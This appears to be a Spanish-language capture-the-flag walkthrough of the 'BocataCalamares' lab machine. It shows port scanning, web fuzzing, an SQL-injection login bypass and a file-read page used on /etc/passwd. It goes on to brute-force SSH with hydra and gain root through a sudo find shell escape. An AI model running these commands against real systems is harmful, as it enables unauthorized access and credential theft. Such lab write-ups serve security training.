BocataCalamares


Enumeration
Vamos a empezar con un escaneo nmap
:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ nmap -p- --open -sS --min-rate=5000 -n -Pn -vvv 192.168.44.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:02 CEST
Initiating ARP Ping Scan at 13:02
Scanning 192.168.44.130 [1 port]
Completed ARP Ping Scan at 13:02, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:02
Scanning 192.168.44.130 [65535 ports]
Discovered open port 80/tcp on 192.168.44.130
Discovered open port 22/tcp on 192.168.44.130
Completed SYN Stealth Scan at 13:02, 0.86s elapsed (65535 total ports)
Nmap scan report for 192.168.44.130
Host is up, received arp-response (0.000056s latency).
Scanned at 2025-07-19 13:02:58 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:6B:B7:3D (VMware)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Vale ahora vamos a realizar un segundo escaneo para ver que servicios y versiones corren en ellos:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ nmap -p22,80 -sCV 192.168.44.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 13:03 CEST
Nmap scan report for 192.168.44.130
Host is up (0.00015s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a6:3f:47:73:4c:6d:b3:23:29:fa:f8:1f:1d:42:44:b9 (ECDSA)
|_ 256 11:b8:dc:df:a9:c1:9f:b5:8f:55:93:a4:ef:65:c8:d5 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: AFN
|_http-server-header: nginx/1.24.0 (Ubuntu)
MAC Address: 00:0C:29:6B:B7:3D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds
Bien, vamos a acceder a la aplicación web:

Vemos que es una aplicación web simple donde no hay gran cosa a simple vista ni a nivel de código fuente. Vamos a realizar fuzzing:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.44.130/FUZZ" -e .php,.html,.txt,.js
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.44.130/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .php .html .txt .js
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 1ms]
index.php [Status: 200, Size: 4145, Words: 898, Lines: 96, Duration: 5ms]
login.php [Status: 200, Size: 2543, Words: 743, Lines: 98, Duration: 3ms]
admin.php [Status: 200, Size: 359, Words: 22, Lines: 14, Duration: 2ms]
Vemos un login.php
y admin.php
, vamos al login.php
:

Shell as superadministrator
Vemos un mensaje que dice Página en desarrollo, no entrar !!!
, vamos a probar un SQLi:
test'

Vemos que se acontece el error de la consulta y nos muestra el propio error, posiblemente la query
que emplee sea como la siguiente:
SELECT * FROM users WHERE username = '$input_name' AND password = '$input_password';
Vemos que podría usar el operador AND
lo que significa que ambas condiciones tienen que devolver true
, pero… y si comentamos la parte del AND
y añadimos un operador OR
?
Si realizamos eso la consulta sería:
Esto ocasionará una modificación de lógica de la consulta devolviendo true
ya que si el usuario no es válido devolverá false
pero como 1=1
siempre devolverá true
y el operador OR
devuelve la consulta true
si al menos una de ambas condiciones lo devuelve (como es el caso).
Así que como resultado será un bypass de la autentificación:

Bien leyendo un poco lo que hay en la web vi una redirección a un archivo llamado todo-list.php
:


Vemos el siguiente mensaje:
He creado una nueva página para poder leer los ficheros internos del servidor, cada día soy un mejor programador. Además he codificado su nombre en base64, así nadie podrá dar con ella (lee_archivos).
Comenta que ha codificado en base64 el nombre del archivo, entre parentesis nos dan el nombre leer_archivos
vamos a codificarlo y probar:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ echo "lee_archivos" | base64
bGVlX2FyY2hpdm9zCg==
Vamos a probar a apuntar a un archivo llamado bGVlX2FyY2hpdm9zCg==.php
:

Bien!! Vemos que nos indica que podemos buscar y leer cualquier archivo de la máquina, vamos a probar el /etc/passwd
:

Vemos que funciona, vamos a intentar ver si podemos leer el id_rsa
del usuario superadministrator
:

No podemos, vamos intentar hacerle fuerza bruta por el SSH a superadministrator
. Para ello emplearemos hydra
:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ hydra -l superadministrator -P /usr/share/wordlists/rockyou.txt ssh://192.168.44.130
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-19 13:34:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.44.130:22/
[22][ssh] host: 192.168.44.130 login: superadministrator password: princesa
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-19 13:34:29
Bien!! Tenemos sus credenciales, vamos a iniciar sesión por SSH:
┌──(pylon㉿kali)-[~/…/pylon/THL/BocataCalamares/nmap]
└─$ ssh superadministrator@192.168.44.130
superadministrator@192.168.44.130's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-51-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Jul 19 11:35:55 AM UTC 2025
System load: 0.02 Processes: 218
Usage of /: 14.6% of 49.21GB Users logged in: 0
Memory usage: 39% IPv4 address for ens33: 192.168.44.130
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Jul 19 10:58:52 2025 from 192.168.44.128
superadministrator@thehackerslabs-bocatacalamares:~$
Shell as root
Si hacemos un ls
podremos ver el siguiente archivo:
superadministrator@thehackerslabs-bocatacalamares:~$ ls
flag.txt recordatorio.txt
Vamos a leer recordatorio.txt
:
superadministrator@thehackerslabs-bocatacalamares:~$ cat recordatorio.txt
Me han dicho que existe una pagina llamada gtfobins muy util para ctfs, la dejo aquí apuntada para recordarlo mas adelante.
Vamos a hacer un sudo -l
para ver si tenemos algún tipo de permiso sudoers:
superadministrator@thehackerslabs-bocatacalamares:~$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
(ALL) NOPASSWD: /usr/bin/find
Vamos a seguir lo indicado en GTFObins:
superadministrator@thehackerslabs-bocatacalamares:~$ sudo find . -exec /bin/bash \; -quit
root@thehackerslabs-bocatacalamares:/home/superadministrator# whoami
root
root! ;)